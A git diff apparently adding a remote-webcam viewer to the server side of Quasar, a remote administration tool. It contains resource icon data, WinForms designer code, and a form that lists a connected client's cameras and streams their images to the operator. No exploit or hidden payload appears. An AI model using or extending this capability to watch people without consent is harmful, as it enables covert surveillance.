H/80JB3/MSEa/yoaE/8rGxT/Nycg/z8vKP9OPjf/Xk5I/2NTS/9eTET/xLu3//////////////////// + /v+ShoH/EgAA/ysbFP9FNS7/X09I/04+N/82Jh//KRkS/y4eF/8zIxz/NSUe/zcnIP85KSL/MSEa/zIi + G/85KSL/Nycg/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5eV4f///8B////Af// + /wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/Oioj/zkpIv84KCH/NiYf/zUlHv8zIxz/MCAZ/y0dFv8tHRX/EAAA/3dp + ZP/49vX////////////v7Ov/YFBJ/yAOBv87LCX/NSUe/zIiG/81JR7/NSUe/zcnIP84KCH/OSki/zgo + If85KSL/MSEa/049Nf9OPTX/MCAZ/zkpIv84KCH/OSki/zkpIv85KSL/OSki/zkpIv86KiP/LR0W/0Y2 + L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OCgh/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Nycg/zgoIf85KSL/OSki/zkpIv84KCH/OCgh/zgo + If84KCH/Oiok/yMRCf9PQTr/6efm////////////4t7c/z4sJP8lFQ7/Oioj/zcnIP85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv84KCH/Oioj/xUEAf+rnpn/ppmU/xUEAf86KyP/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zgo + If85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv86KiP/OCki/yYVDv8sGhP/PCwl/zoq + I/85KSL/OSki/zgoIf84KCH/OCgh/zoqI/8oGRH/NCEZ/9vV0v///////////8W9uf8pFw//MSEa/zkp + Iv84KCH/Nycg/zgoIf85KSL/OSki/zkpIv85KSL/Oioj/xwMB/8zHxj/7ero/+7q6f82Ixz/HQwJ/zss + JP86KiP/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af// + /wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/Nycg/zoq + Iv9tXVj/Xk5I/zIiHP83JyD/OCgh/zgoIf85KSL/OCgh/zgoIf85KSL/NSUe/yQSCf+3rqv///////// + //+dko7/GQcA/zsrJP84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zAhGP8pFxL/s6el//// + ////////saek/yQSDv8yIhv/Oysk/zkpIv85KSL/OSki/zkpIv86KiP/LR0W/0Y2L9luXleH////Af// + /wH///8B////Af///wH///8BU0M8pz8vKOsxIRr/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv86KiP/OCgh/xsLBf8nHh3/7+bh/6efnP8GAAD/JxUQ/zsrJP85KSL/OSki/zkpIv85KSL/OCgh/zoq + I/8YBgD/kYR///7+/f/7+fn/f29p/xwLBP88LCX/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/y4e + F/85Jh//u7Ou//////////////////////+4r6v/PCoi/y4eF/86KiP/OSki/zkpIv85KSL/Oioj/y0d + Fv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVFBOqs+LifvMSEa/zgoIf85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/NiYf/zkpIf9tXlj/iXx4//z38//Pysj/e2xm/1pLRP8yIRr/Nycg/zkp + Iv85KSL/OSki/zkpIv86KiP/HQsE/3hoYP/6+fn/9fTz/1xNRv8jEgv/Oisk/zkpIv85KSL/OSki/zkp + Iv86KiP/Oioj/zsrJP8xIRr/MR8Y/52Qiv/7+vn////////////7+fn/m4+I/zAfF/8yIhv/Oioj/zkp + Iv85KSL/OSki/zoqI/8tHRb/RjYv221dVov///8B////Af///wH///8B////Af///wFTQzyrPy8o7zIi + G/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zIiG/88KiL/4NfT/////////v3///7+//// + //+bko7/JBIL/zQjHP85KSL/OSki/zkpIv85KSL/Oioj/yQTC/9ZS0X/9fT0//Hv7v9DMiv/JxcQ/zoq + I/85KSL/OSki/zoqI/85KSL/KxsU/yoZEv82Jh7/Oysl/zMjHP8aCAX/lIiD//79/P/9/fz/koeD/xkH + BP80JR3/Oysk/zkpIv85KSL/OSki/zkpIv87KyT/LR0W/0MzLNtsXFWL////Af///wH///8B////Af// + /wH///8BaFhRaUU1LscsHBX/Oioj/zgoIf85KSL/OSki/zgoIf85KSL/OSki/zkpIv83JyD/OSoj/1RF + Pv9pWlP/9/Hv/8O/vP9WR0D/Szs0/zQkHP84KCH/OSki/zkpIv85KSL/OSki/zkpIv8oFxD/QjEq//Hv + 7//j3tr/OSYe/ywcFv86KiP/OSki/zkpIv86KyT/Lh0V/1A/N/9WR0D/MB8X/zMjHP87KyT/KhoU/ygV + Dv/k3tv/5N7b/yoXEP8oGRP/Oysk/zkpIv85KSL/OSki/zkpIv84KCH/Oioj/ygYEf9MPDW7f29oWf// + /wH///8B////Af///wH///8B////AYd3cBNrW1RdLx8Y7TAgGf84KCH/OSki/zkpIv84KCH/OCgh/zkp + Iv85KSL/OSki/zgoIf8lEw3/MB4c/+fg2/+noZ7/FQMA/y4dFv86KiP/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/LBwV/zglHf/s5uP/z8nG/y0bEv8yIhv/OSki/zkpIv87KyP/JhYQ/2dXUP/v6+n/+vn3/5iM + iP8qGBD/MiMc/zsrJP8bCwT/mImC/5WFf/8ZCQP/PCwl/zkpIv85KSL/OSki/zoqI/85KSL/Nycg/zAg + Gf81JR7nf29oUaOTjA3///8B////Af///wH///8B////Af///wH///8B////AV5OR1FDMyzRNSUe/zYm + H/83JyD/Oioj/zgoIf85KSL/OSki/zkpIv84KCH/Nycg/zgoIf9XSEL/T0A5/zUlHv85KSL/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zEhGv8tGxP/3tfV/7u1s/8gDQX/Nygh/zkpIv85KSL/PCwl/xYE + Af+qoZ7////////////X0s//Oygh/ycXEP86KiP/NCUe/0IxKf9DMiv/MiMc/zkpIv85KSL/OSki/zoq + I/83JyD/MyMc/zQkHf06KiPDWEhBQf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BZVVOGVJCO307KyTbMCAZ/zQkHf84KCH/OSki/zkpIv85KSL/OSki/zkpIv83KCH/JhYO/ywb + FP87KyT/OSki/zgoIf85KSL/OSki/zkpIv85KSL/OCgh/zgoIf82Jh//IxAI/8zGw/+uqKb/FgQA/zsr + JP85KSL/OSki/zorJP8nFg//ZlZQ/+Tg3v/v7ez/n5WQ/yoZEf80JB3/OSki/zopIv8wIBr/MCAZ/zoq + I/84KCH/OSki/zkpIv8zIxz/Lh4X/z4uJ9deTkdzX09IE////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BUEA5L1lJQps4KCHtNSUe/zYmH/85KSL/OCgh/zgo + If84KCH/OSki/zsrJP86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/Oioj/xsI + Av+yqqf/ppqU/xoJAv87KyT/OSki/zkpIv85KSL/Oysk/y0cFP9SQjv/WUlD/y8fF/8zIxz/Oysk/zkp + Iv85KSL/OSki/zkpIv84KCH/OSki/zYmH/8zIxz/OSki52RUTZFeTkcn////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wGBcWoFTj43SUc3 + MK80JB31Lx8Y/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zsrJP8dDAX/npGL/5OFfv8gDwj/Oysk/zgoIf85KSL/OSki/zoqI/83KCH/IxML/yMR + Cf8xIRn/PCwl/zkpIv85KSL/OSki/zkpIv85KSL/Nycg/y4eF/8yIhv1Tz84o1tLRD+VhX4F////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wFPPzgJVUU+X0g4MdUwIBn/MSEa/zsrJP85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zgoIf86KiP/IxMM/5B/eP+Ccmv/JRYP/zoqI/84KCH/OSki/zkp + Iv85KSL/OSki/zkqI/86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/NSUe/zAgGf9JOTLPXExFV19P + SAf///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFpWVIbTj43dz0tJu0vHxj/OCgh/zkp + Iv85KSL/OSki/zgoIf84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/ygYEf96amP/bl5X/yoa + E/85KSL/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv84KCH/Lh4X/zsr + JN1RQTpzeGhhE////wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVRE + PQOIeHEvSjozozUlHvs0JB3/NiYf/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoq + I/8wIBn/XU1G/1FBOv8yIhv/Nycg/zgoIf85KSL/OSki/zkpIv84KCH/OCgh/zcnIP84KCH/OCgh/zcn + IP81JR7/NCQd+VtLRJ1dTUYjWkpDA////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AVFBOgVPPzhJQDApuzYmH/8zIxz/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zsrJP83JyD/OSki/zcnIP85KSL/OSki/zkpIv85KSL/OCgh/zgo + If85KSL/Nycg/zMjHP81JR77Pi8ot1hIQUNmVk8D////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVlJQgtuXldtNSUe1zEh + Gv8xIRr/OCgh/zoqI/85KSL/OSki/zkpIv85KSL/OSki/zoqI/82Jh//NiYf/zgoIf84KCH/OCgh/zkp + Iv85KSL/OSki/zkpIv81JR7/NiYf/zIiG/9HNzDTWkpDX0U1LgX///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AVNDPCE9LSaPPS0m5TMjHP83JyD/Oioj/zoqI/85KSL/OSki/zgoIf85KSL/OSki/zgo + If84KCH/OSki/zgoIf85KSL/Oioj/zoqI/81JR7/MiIb/zoqI9tAMCqHcmJbHf///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AWhYUTtGNjCrNCQd8zEhGv81JR7/Oioj/zkp + Iv83JyD/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/Oysk/zMjHP8tHRb/OCgh71dHQKNJOTIt////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BXU1GBz4u + J09AMCm9NSUe/zIiG/84KCH/OSki/zgoIf85KSL/OSki/zgoIf86KiP/OSki/zEhGv8zIxz/RDQtt0o6 + M0l5aWIF////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BXk5HE2paU2U0JB3bKBgR/zMjHP85KSL/OCgh/zgoIf85KSL/MiIb/y4e + F/83JyDZdGRdX25eVw////8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BVUU+I2BQSY04KCHzLh4X/zoq + I/85KSL/MSEa/zkpIu9FNS5/SDgxH////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BYlJLOUU1Lq8yIhvXMiIb104+N6lqWlM1////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA== + + + \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteWebcam.Designer.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteWebcam.Designer.cs new file mode 100755 index 0000000..ad57947 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteWebcam.Designer.cs @@ -0,0 +1,186 @@ +namespace Quasar.Server.Forms +{ + partial class FrmRemoteWebcam + { + private System.ComponentModel.IContainer components = null; + + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmRemoteWebcam)); + this.panelTop = new System.Windows.Forms.Panel(); + this.btnStart = new System.Windows.Forms.Button(); + this.btnStop = new System.Windows.Forms.Button(); + this.comboBox1 = new System.Windows.Forms.ComboBox(); + this.lblQualityLabel = new System.Windows.Forms.Label(); + this.lblQuality = new System.Windows.Forms.Label(); + this.trackBarQuality = new System.Windows.Forms.TrackBar(); + this.lblFPS = new System.Windows.Forms.Label(); + this.pictureBox1 = new System.Windows.Forms.PictureBox(); + this.timer1 = new System.Windows.Forms.Timer(this.components); + this.panelTop.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.trackBarQuality)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit(); + this.SuspendLayout(); + // + // panelTop + // + this.panelTop.BackColor = System.Drawing.SystemColors.Control; + this.panelTop.Controls.Add(this.btnStart); + this.panelTop.Controls.Add(this.btnStop); + this.panelTop.Controls.Add(this.comboBox1); + this.panelTop.Controls.Add(this.lblQualityLabel); + this.panelTop.Controls.Add(this.lblQuality); + this.panelTop.Controls.Add(this.trackBarQuality); + this.panelTop.Controls.Add(this.lblFPS); + this.panelTop.Dock = System.Windows.Forms.DockStyle.Top; + this.panelTop.ForeColor = System.Drawing.Color.White; + this.panelTop.Location = new System.Drawing.Point(0, 0); + this.panelTop.Margin = new System.Windows.Forms.Padding(4); + this.panelTop.Name = "panelTop"; + this.panelTop.Size = new System.Drawing.Size(1067, 59); + this.panelTop.TabIndex = 0; + // + // btnStart + // + this.btnStart.Enabled = false; + this.btnStart.Location = new System.Drawing.Point(13, 7); + this.btnStart.Margin = new System.Windows.Forms.Padding(4); + this.btnStart.Name = "btnStart"; + this.btnStart.Size = new System.Drawing.Size(98, 44); + this.btnStart.TabIndex = 0; + this.btnStart.Text = "Start"; + this.btnStart.UseVisualStyleBackColor = true; + this.btnStart.Click += new System.EventHandler(this.btnStart_Click); + // + // btnStop + // + this.btnStop.Enabled = false; + this.btnStop.ForeColor = System.Drawing.Color.White; + this.btnStop.Location = new System.Drawing.Point(119, 7); + this.btnStop.Margin = new System.Windows.Forms.Padding(4); + this.btnStop.Name = "btnStop"; + this.btnStop.Size = new System.Drawing.Size(102, 44); + this.btnStop.TabIndex = 1; + this.btnStop.Text = "Stop"; + this.btnStop.UseVisualStyleBackColor = true; + this.btnStop.Click += new System.EventHandler(this.btnStop_Click); + // + // comboBox1 + // + this.comboBox1.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; + this.comboBox1.Enabled = false; + this.comboBox1.FormattingEnabled = true; + this.comboBox1.Location = new System.Drawing.Point(229, 9); + this.comboBox1.Margin = new System.Windows.Forms.Padding(4); + this.comboBox1.Name = "comboBox1"; + this.comboBox1.Size = new System.Drawing.Size(372, 24); + this.comboBox1.TabIndex = 2; + // + // lblQualityLabel + // + this.lblQualityLabel.AutoSize = true; + this.lblQualityLabel.Location = new System.Drawing.Point(609, 12); + this.lblQualityLabel.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblQualityLabel.Name = "lblQualityLabel"; + this.lblQualityLabel.Size = new System.Drawing.Size(51, 16); + this.lblQualityLabel.TabIndex = 4; + this.lblQualityLabel.Text = "Quality:"; + // + // lblQuality + // + this.lblQuality.AutoSize = true; + this.lblQuality.Location = new System.Drawing.Point(672, 12); + this.lblQuality.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblQuality.Name = "lblQuality"; + this.lblQuality.Size = new System.Drawing.Size(57, 16); + this.lblQuality.TabIndex = 5; + this.lblQuality.Text = "75 (high)"; + // + // trackBarQuality + // + this.trackBarQuality.AutoSize = false; + this.trackBarQuality.Enabled = false; + this.trackBarQuality.Location = new System.Drawing.Point(747, 7); + this.trackBarQuality.Margin = new System.Windows.Forms.Padding(4); + this.trackBarQuality.Maximum = 100; + this.trackBarQuality.Minimum = 1; + this.trackBarQuality.Name = "trackBarQuality"; + this.trackBarQuality.Size = new System.Drawing.Size(213, 44); + this.trackBarQuality.TabIndex = 6; + this.trackBarQuality.TickStyle = System.Windows.Forms.TickStyle.None; + this.trackBarQuality.Value = 75; + this.trackBarQuality.Scroll += new System.EventHandler(this.trackBarQuality_Scroll); + // + // lblFPS + // + this.lblFPS.AutoSize = true; + this.lblFPS.Location = new System.Drawing.Point(983, 21); + this.lblFPS.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblFPS.Name = "lblFPS"; + this.lblFPS.Size = new System.Drawing.Size(56, 16); + this.lblFPS.TabIndex = 7; + this.lblFPS.Text = "FPS: 0.0"; + // + // pictureBox1 + // + this.pictureBox1.BackColor = System.Drawing.Color.Black; + this.pictureBox1.Dock = System.Windows.Forms.DockStyle.Fill; + this.pictureBox1.Location = new System.Drawing.Point(0, 59); + this.pictureBox1.Margin = new System.Windows.Forms.Padding(4); + this.pictureBox1.Name = "pictureBox1"; + this.pictureBox1.Size = new System.Drawing.Size(1067, 532); + this.pictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.Zoom; + this.pictureBox1.TabIndex = 1; + this.pictureBox1.TabStop = false; + // + // timer1 + // + this.timer1.Enabled = true; + this.timer1.Interval = 1000; + this.timer1.Tick += new System.EventHandler(this.timer1_Tick); + // + // FrmRemoteWebcam + // + this.AutoScaleDimensions = new System.Drawing.SizeF(8F, 16F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(1067, 591); + this.Controls.Add(this.pictureBox1); + this.Controls.Add(this.panelTop); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Margin = new System.Windows.Forms.Padding(4); + this.MinimumSize = new System.Drawing.Size(847, 481); + this.Name = "FrmRemoteWebcam"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "Remote Webcam"; + this.FormClosed += new System.Windows.Forms.FormClosedEventHandler(this.FrmRemoteWebcam_FormClosed); + this.Load += new System.EventHandler(this.FrmRemoteWebcam_Load); + this.panelTop.ResumeLayout(false); + this.panelTop.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.trackBarQuality)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit(); + this.ResumeLayout(false); + + } + + private System.Windows.Forms.Panel panelTop; + private System.Windows.Forms.Button btnStart; + private System.Windows.Forms.Button btnStop; + public System.Windows.Forms.ComboBox comboBox1; + private System.Windows.Forms.Label lblQualityLabel; + private System.Windows.Forms.Label lblQuality; + private System.Windows.Forms.TrackBar trackBarQuality; + private System.Windows.Forms.Label lblFPS; + public System.Windows.Forms.PictureBox pictureBox1; + public System.Windows.Forms.Timer timer1; + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteWebcam.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteWebcam.cs new file mode 100755 index 0000000..f0e782f --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteWebcam.cs @@ -0,0 +1,225 @@ +using Quasar.Common.Messages; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Messages; +using Quasar.Server.Models; +using Quasar.Server.Networking; +using Quasar.Server.Utilities; +using System; +using System.Diagnostics; +using System.Drawing; +using System.IO; +using System.Windows.Forms; + +namespace Quasar.Server.Forms +{ + public partial class FrmRemoteWebcam : Form + { + private readonly Client _connectClient; + private WebcamHandler _webcamHandler; + private readonly Stopwatch _sw = new Stopwatch(); + private int _fpsCounter; + private bool _isStreaming; + + private static readonly System.Collections.Generic.Dictionary OpenedForms = + new System.Collections.Generic.Dictionary(); + + public static FrmRemoteWebcam CreateNewOrGetExisting(Client client) + { + if (OpenedForms.ContainsKey(client)) + { + var existing = OpenedForms[client]; + if (!existing.IsDisposed) + return existing; + OpenedForms.Remove(client); + } + var frm = new FrmRemoteWebcam(client); + frm.Disposed += (s, e) => OpenedForms.Remove(client); + OpenedForms.Add(client, frm); + return frm; + } + + public FrmRemoteWebcam(Client client) + { + _connectClient = client; + InitializeComponent(); + _connectClient.ClientState += OnClientStateChange; + } + + private void RegisterMessageHandler() + { + _webcamHandler = new WebcamHandler(); + _webcamHandler.ImageReceived += OnImageReceived; + _webcamHandler.WebcamsReceived += OnWebcamsReceived; + MessageHandler.Register(_webcamHandler); + } + + private void UnregisterMessageHandler() + { + if (_webcamHandler == null) return; + MessageHandler.Unregister(_webcamHandler); + _webcamHandler.ImageReceived -= OnImageReceived; + _webcamHandler.WebcamsReceived -= OnWebcamsReceived; + _webcamHandler.Dispose(); + _webcamHandler = null; + } + + private void OnClientStateChange(Client s, bool connected) + { + if (!connected) + this.Invoke((MethodInvoker)Close); + } + + private void FrmRemoteWebcam_Load(object sender, EventArgs e) + { + if (Settings.DarkMode) DarkModeManager.ApplyDarkMode(this); + ThemeManager.ApplyThemeToNewForm(this); + this.Text = $"Remote Webcam - {_connectClient.EndPoint.Address}:{_connectClient.EndPoint.Port}"; + RegisterMessageHandler(); + _connectClient.Send(new GetWebcams()); + } + + private void OnImageReceived(object sender, byte[] data) + { + if (data == null || data.Length == 0 || IsDisposed) return; + try + { + this.BeginInvoke((MethodInvoker)delegate + { + if (IsDisposed || !_isStreaming) return; + try + { + using (var ms = new MemoryStream(data)) + { + var img = Image.FromStream(ms); + var old = pictureBox1.Image; + pictureBox1.Image = img; + old?.Dispose(); + } + _fpsCounter++; + if (_sw.ElapsedMilliseconds >= 1000) + { + lblFPS.Text = $"FPS: {_fpsCounter / (_sw.ElapsedMilliseconds / 1000.0):F1}"; + _fpsCounter = 0; + _sw.Restart(); + } + } + catch { } + }); + } + catch { } + } + + private void OnWebcamsReceived(object sender, string webcams) + { + if (IsDisposed) return; + try + { + this.BeginInvoke((MethodInvoker)delegate + { + if (IsDisposed) return; + comboBox1.Items.Clear(); + foreach (var cam in webcams.Split(new[] { "=>" }, StringSplitOptions.RemoveEmptyEntries)) + { + var name = cam.TrimStart('-').Trim(); + if (!string.IsNullOrWhiteSpace(name)) + comboBox1.Items.Add(name); + } + + if (comboBox1.Items.Count > 0) + { + comboBox1.SelectedIndex = 0; + comboBox1.Enabled = true; + btnStart.Enabled = true; + trackBarQuality.Enabled = true; + } + else + { + MessageBox.Show("No webcams found on the client.", "Webcam", + MessageBoxButtons.OK, MessageBoxIcon.Information); + Close(); + } + }); + } + catch { } + } + + private void btnStart_Click(object sender, EventArgs e) + { + _connectClient.Send(new DoWebcamStart + { + CameraIndex = comboBox1.SelectedIndex, + Quality = trackBarQuality.Value + }); + btnStart.Enabled = false; + btnStop.Enabled = true; + trackBarQuality.Enabled = false; + comboBox1.Enabled = false; + _isStreaming = true; + _fpsCounter = 0; + _sw.Restart(); + } + + private void btnStop_Click(object sender, EventArgs e) + { + StopStream(); + } + + private void StopStream() + { + if (!_isStreaming) return; + _isStreaming = false; + _connectClient.Send(new DoWebcamStop()); + btnStart.Enabled = true; + btnStop.Enabled = false; + trackBarQuality.Enabled = true; + comboBox1.Enabled = true; + lblFPS.Text = "FPS: 0.0"; + _fpsCounter = 0; + _sw.Reset(); + var old = pictureBox1.Image; + pictureBox1.Image = null; + old?.Dispose(); + } + + private void btnHide_Click(object sender, EventArgs e) + { + WindowState = FormWindowState.Minimized; + } + + private void trackBarQuality_Scroll(object sender, EventArgs e) + { + int v = trackBarQuality.Value; + lblQuality.Text = $"{v} ({(v >= 80 ? "high" : v >= 50 ? "medium" : "low")})"; + if (_isStreaming) + { + _connectClient.Send(new DoWebcamStop()); + _connectClient.Send(new DoWebcamStart + { + CameraIndex = comboBox1.SelectedIndex, + Quality = v + }); + } + } + + private void timer1_Tick(object sender, EventArgs e) + { + if (!_connectClient.Connected) + Close(); + } + + private void FrmRemoteWebcam_FormClosed(object sender, FormClosedEventArgs e) + { + timer1.Stop(); + _connectClient.ClientState -= OnClientStateChange; + if (_isStreaming) + { + _isStreaming = false; + try { _connectClient.Send(new DoWebcamStop()); } catch { } + } + UnregisterMessageHandler(); + var old = pictureBox1.Image; + pictureBox1.Image = null; + old?.Dispose(); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteWebcam.resx b/Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteWebcam.resx new file mode 100755 index 0000000..6a58bde --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteWebcam.resx @@ -0,0 +1,662 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 17, 17 + + + + + AAABAAQAEBAAAAAAIABoBAAARgAAACAgAAAAACAAqBAAAK4EAAAwMAAAAAAgAKglAABWFQAAQEAAAAAA + IAAoQgAA/joAACgAAAAQAAAAIAAAAAEAIAAAAAAAQAQAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af// + /wH///8B////Af///wE/LyhBOSkiyzkpIslBMSo9////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUg4MSE6KiOrNycg/T4uJ/87KyT/Nycg/TsrJKdKOjMf////Af///wH///8B////Af// + /wH///8BXExFCzsrJIE3JyD1OSki/zkpIv9PQDr/Szs1/zkpIv84KCH/Nycg8zsrJH0/LygL////Af// + /wH///8BPCwlVTcnIOE4KCH/OCgh/zcnIP81JR7/YVRP/1pMRv82Jh//OCgh/zgoIf84KCH/OCgh3zws + JVH///8BWUlCJTcnIPc4KCH/QzQt/4B1cP+Dd3L/fnJt/6uioP+jmpb/bF9Z/2pcVf9jVU7/PCwl/zgo + If84KCHza1tUH1NDPCs3JyD7eGtm/4J2cv87KyT/MSEa/z8vKP+vpqL/q6Ke/z0tJ/82JyD/NSUe/1pL + 